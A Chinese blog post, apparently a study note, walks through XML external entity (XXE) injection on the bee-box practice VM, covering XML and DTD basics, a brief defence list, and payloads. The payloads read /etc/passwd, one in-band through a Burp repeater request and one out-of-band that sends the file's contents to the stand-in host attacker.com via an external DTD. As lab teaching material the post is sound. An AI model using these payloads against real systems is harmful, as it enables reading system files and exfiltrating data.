XEE之bee-box练习

前言

下载好靶机环境打开即可bee-box
虚拟机版本直接打开就可,在使用之前会有键盘乱序的问题,网上有修改教程很简单修改一下就好啦;
做实验之前先大致介绍XEE攻击(看了一个学习视频总结的):

首先当然是要了解xml是什么:
XML(extensible makeup language)扩展标记语言,是一种常用的标记语言;
和HTML相似,最大的区别就是HTML和数据相关,而xml更多与数据传输和存储有关(可以存储数值以备后用等等很多功能);

<?xml version="1.0"?>
<Person>//根元素(符合规则的xml文件必须有且只有一个根元素)
    <Name>john</Name>
    <Age>20</Age>//两个赋值的嵌套标签子元素name和age
</Person>//元素标签名对大小写敏感,<>'"不被允许直接出现在xml文档中

但是实体可以解决这个问题: 实体是一种简单的存储单元,就好比xml的变量一样,可以赋值引用
实体在文档类型部分(DTD)被单独定义描述,有关DTD的概念:

DTD

DTD的作用是定义 XML文档的合法构建模块;
1.内部声明:
2.外部声明(引用外部DTD):
这种机制能构建一种结构良好的xml文档,因为这样讲定义和数据部分区分开来,但这种功能在方便开发的同时也给攻击主任带来了便利;

DTD实体

DTD实体分类:
一般实体:即在其他地方发生引用;
参数实体:它必须定义在单独的DTD区域,可以通过另外一个实体来进行定义;%是参数实体的标志;
预定义实体;
1.内部实体声明:<!ENTITY 实体名称 "实体的值">
2.外部实体声明:<!ENTITY 实体名称 SYSTEM "URI/文件名">外部实体的标志

XXE(外部实体注入攻击)有多种类型

主要是带内数据,基于错误,带外数据(OOB)(类似盲注)
这里我们来构造一个OOB的payload加强理解

<?xml version="1.0"?>
<!DOCTYPE XXE [
<!ENTITY % passwd SYSTEM "/etc/passwd">//passwd参数实体
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
%wrapper;//后半部分是通用实体
]>
<pwn>&send;</pwn>

但事实是这样是错的,因为在xml中在DTD内部子集中的参数实体调用不能混惨到标记语言中,也即是说不能在实际的标记语言中来调用参数实体;
我们可以通过外部DTD绕过,

<?xml version="1.0"?>
<!DOCTYPE data  SYSTEM "http://attacker.com/evil.dtd">
<data>&send;</data>//send在哪呢
而eval.dtd得内容:
<!ENTITY % passwd SYSTEM "/etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
##%wrapper;##<!ENTITY send SYSTEM 'http://attacker.com/?contens_of_passwd'>

下面的这个例子就是带内数据,
打开XEE的漏洞界面,可以在虚拟机下打开,也可以在你的Windows上打开(输入你的虚拟机的IP即可)

在这里插入图片描述
首先要知道怎么判断是否存在XXE漏洞
这里是非blind的XEE,我们抓包来查看数据传输的情况:在这里插入图片描述
很明显抓包后多了一个XML的按钮,又看到Content-type第七行XML的文件类型,接下来分析报文,可以看到xxe-1.php页面以post方式向xxe-2.php页面传输了XML数据,说明可能存在XXE攻击,注入payload进行测试;
这样就可以构造一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行XXE攻击。
将抓到的包发送到repeater,构造payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">
]>
<reset>
  <login>&b;</login>
  <secret>login</secret>
</reset>

这里要注意的是只是修改,比如login标签就不能随便删除,当数据传到后台,后台找不到原来的login标签payload最后是不能执行成功的。
在这里插入图片描述
看到响应包中出现了我们想查找的文件内容;

如何防御XXE呢?

1.根据攻击的思路,禁用xml外部实体
2.规定黑名单或者白名单
-----------------------------------------------初识XXE的笔记

发布了5 篇原创文章 · 获赞 5 · 访问量 202

猜你喜欢

转载自blog.csdn.net/qq_43571759/article/details/104541744
Bee
Box